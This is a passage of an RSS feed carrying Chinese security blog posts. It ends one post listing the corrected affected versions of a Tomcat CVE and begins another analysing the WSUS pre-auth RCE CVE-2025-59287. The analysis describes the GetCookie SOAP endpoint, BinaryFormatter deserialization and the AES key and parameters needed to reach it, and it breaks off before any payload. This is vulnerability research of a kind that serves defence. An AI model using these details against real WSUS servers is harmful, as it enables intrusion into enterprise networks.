1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">可见官方披露的漏洞影响版本有误，</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">CVE-2025-55752</span></code><span leaf=""> 准确的影响版本如下：</span></p><ul style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));list-style: none;margin: 0px;padding: 0px 0px 0px 1.5em;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);" class="list-paddingleft-1"><li style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;text-indent: -1em;display: block;margin: 0.5em 8px;color: rgb(63, 63, 63);"><p><span leaf="">• 11.0.6 - 11.0.10</span></p></li><li style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;text-indent: -1em;display: block;margin: 0.5em 8px;color: rgb(63, 63, 63);"><p><span leaf="">• 10.1.39 - 10.1.44</span></p></li><li style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;text-indent: -1em;display: block;margin: 0.5em 8px;color: rgb(63, 63, 63);"><p><span leaf="">• 9.0.103 - 9.0.108</span></p></li></ul></div><p><span style="color: rgb(63, 63, 63);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 12px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 700;letter-spacing: 1.4px;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;" data-pm-slice="0 0 []"><span leaf="">由于传播、利用此文档提供的信息而造成任何直接或间接的后果及损害，均由使用本人负责，公众号及文章作者不为此承担任何责任。</span></span></p><p class="mp_profile_iframe_wrp" nodeleaf=""><mp-common-profile class="js_uneditable custom_select_card mp_profile_iframe" data-pluginname="mpprofile" data-nickname="自在安全" data-alias="zizaianquan" data-from="0" data-headimg="http://mmbiz.qpic.cn/sz_mmbiz_png/9UsWg6ibZLAyXOOjT6ic7nYAv7IbBiaSry4atmFYFQotupk7xIuiaK0opNtiariaXJo31Cf1X4t5609epW2oBesIdoxA/0?wx_fmt=png" data-signature="网海茫茫隐暗礁，漏洞潜伏似波涛。 慧心洞察安澜处，自在安全任我遨。" data-id="Mzk0NTU5Mjg0Ng==" data-is_biz_ban="0" data-service_type="1" data-verify_status="0"></mp-common-profile></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>


<p><a href="2247492522">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=b6909b4a&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzk0NTU5Mjg0Ng%3D%3D%26mid%3D2247492522%26idx%3D1%26sn%3Db0d52f967db7df8ec7bddf3a639e63b3">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Sat, 01 Nov 2025 07:00:00 +0800</pubDate>
    </item>
    <item>
      <title>CVSS 9.8严重漏洞揭秘：CVE-2025-59287 WSUS PreAuth RCE的利用困局</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzk0NTU5Mjg0Ng==&amp;mid=2247492505&amp;idx=1&amp;sn=a62aa31cf0b1372c8472e6c2226b72b2</link>
      <description>内网大杀器？CVE-2025-59287 WSUS PreAuth RCE漏洞如何才能复现。</description>
      <content:encoded><![CDATA[<p>
原创 <span>KCyber</span> <span>2025-10-25 07:03</span> <span style="display: inline-block;">北京</span>
</p>




<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=6069e470&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2F9UsWg6ibZLAxePiauPsQc0icWYTwpXYghzric7HN18qm6SaEffyDJD8JxJqQRsUaDUIBSic9Vd4kfSmPWF3M1AcB4Lw%2F0%3Fwx_fmt%3Djpeg"/></p>

<p>内网大杀器？CVE-2025-59287 WSUS PreAuth RCE漏洞如何才能复现。</p>

<div style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(10, 10, 10);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;"><p class="mp_profile_iframe_wrp" nodeleaf=""><mp-common-profile class="custom_select_card mp_profile_iframe" data-pluginname="mpprofile" data-nickname="自在安全" data-alias="zizaianquan" data-from="0" data-headimg="http://mmbiz.qpic.cn/sz_mmbiz_png/9UsWg6ibZLAyXOOjT6ic7nYAv7IbBiaSry4atmFYFQotupk7xIuiaK0opNtiariaXJo31Cf1X4t5609epW2oBesIdoxA/0?wx_fmt=png" data-signature="网海茫茫隐暗礁，漏洞潜伏似波涛。 慧心洞察安澜处，自在安全任我遨。" data-id="Mzk0NTU5Mjg0Ng==" data-service_type="1" data-verify_status="0"></mp-common-profile></p><div style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(10, 10, 10);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;"><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 0px 8px 1.5em;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">近期，微软 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">WSUS</span></code><span leaf=""> 服务披露了一个匿名 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">RCE</span></code><span leaf=""> 漏洞（</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">CVE-2025-59287</span></code><span leaf="">），因其高威胁性引发广泛关注。有朋友因为无法复现@我求助，刚好这个服务以前我关注过，也很好奇这个 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">CVSS</span></code><span leaf=""> 评分达到 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">9.8</span></code><span leaf=""> 的严重漏洞是如何触发的。根据公开信息该漏洞源于 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">BinaryFormatter</span></code><span leaf=""> 反序列化，原理并不复杂，那么坑究竟在哪里呢？</span></p><h2 data-heading="true" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-size: 19.5px;font-weight: bold;margin: 4em auto 2em;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;display: table;padding: 0.3em 1.2em;color: rgb(255, 255, 255);background: rgb(15, 76, 129);border-radius: 8px 24px;box-shadow: rgba(0, 0, 0, 0.06) 0px 2px 6px;"><span leaf="">反序列化分析</span></h2><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">WSUS</span></code><span leaf=""> 默认监听端口为 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">8530/8531</span></code><span leaf=""> ，服务目录中存在多个 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">WSDL</span></code><span leaf=""> 服务，比如 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">/ClientWebService/Client.asmx</span></code><span leaf=""> ，解析该服务的请求格式，可以找到一个名为 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">GetCookie</span></code><span leaf=""> 的接口：</span></p><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);"><span leaf=""><img data-imgfileid="100008805" class="rich_pages wxw-img" data-ratio="0.4464980544747082" data-type="png" data-w="1028" style="box-sizing: border-box;border-width: 1px;border-style: solid;border-color: rgba(0, 0, 0, 0.04);display: block;vertical-align: middle;max-width: 100%;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;margin: 0.1em auto 0.5em;border-radius: 8px;height: auto !important;" title="null" src="https://wechat2rss.xlab.app/img-proxy/?k=126dd571&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAxePiauPsQc0icWYTwpXYghzrDCuSiaBTqQia8P2hFJFKjA4uXKnh3ibvy7VT2ZIZOImoRDN0vVZrjNH6w%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">构造请求包顺利进入 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">GetCookie</span></code><span leaf=""> 函数，调用栈如下：</span></p><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);"><span leaf=""><img data-imgfileid="100008807" class="rich_pages wxw-img" data-ratio="0.50293542074364" data-type="png" data-w="1022" style="box-sizing: border-box;border-width: 1px;border-style: solid;border-color: rgba(0, 0, 0, 0.04);display: block;vertical-align: middle;max-width: 100%;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;margin: 0.1em auto 0.5em;border-radius: 8px;height: auto !important;" title="null" src="https://wechat2rss.xlab.app/img-proxy/?k=fd30dc2a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAxePiauPsQc0icWYTwpXYghzrRIRunb2DebcXNTD0RCw6AYQGOG9AT5kbJ3AKysBwkFia9fuUqLOFLaA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">调试发现，要顺利到达反序列化调用点 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">EncryptionHelper.DecryptData</span></code><span leaf=""> ，需要提供合法的 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">protocolVersion</span></code><span leaf=""> 、</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">PlugInId</span></code><span leaf=""> 等参数，此外在反序列化前还要进行解密操作，</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">EncryptionHelper</span></code><span leaf=""> 中使用的是 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">AES</span></code><span leaf=""> 对称加密算法，因此还需要获取 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">key</span></code><span leaf=""> ：</span></p><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);"><span leaf=""><img data-imgfileid="100008806" class="rich_pages wxw-img" data-ratio="0.5751953125" data-type="png" data-w="1024" style="box-sizing: border-box;border-width: 1px;border-style: solid;border-color: rgba(0, 0, 0, 0.04);display: block;vertical-align: middle;max-width: 100%;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;margin: 0.1em auto 0.5em;border-radius: 8px;height: auto !important;" title="null" src="https://wechat2rss.xlab.app/img-proxy/?k=4143bbc7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAxePiauPsQc0icWYTwpXYghzrk7Kykr3on7lGhNxrYKicat7BTL53pDUPicLR4z9iaq447WicqoZYEoe6wQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">为了知道上面的参数如何赋值，分析一下 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">WSUS</span></code><span leaf=""> 的配置，查看相关服务如下：</span></p><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);"><span leaf=""><img data-imgfileid="100008804" class="rich_pages wxw-img" data-ratio="0.23126614987080105" data-type="png" data-w="774" style="box-sizing: border-box;border-width: 1px;border-style: solid;border-color: rgba(0, 0, 0, 0.04);display: block;vertical-align: middle;max-width: 100%;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;margin: 0.1em auto 0.5em;border-radius: 8px;height: auto !important;" title="null" 